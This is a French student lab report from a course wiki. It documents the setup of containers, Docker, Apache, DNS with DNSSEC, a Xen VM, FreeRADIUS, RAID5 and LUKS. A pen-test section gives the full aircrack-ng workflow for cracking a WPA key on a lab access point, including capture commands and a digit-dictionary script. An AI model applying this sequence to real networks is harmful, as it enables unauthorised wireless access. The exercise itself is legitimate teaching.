Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48771</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48771"/>
				<updated>2018-12-17T13:51:50Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
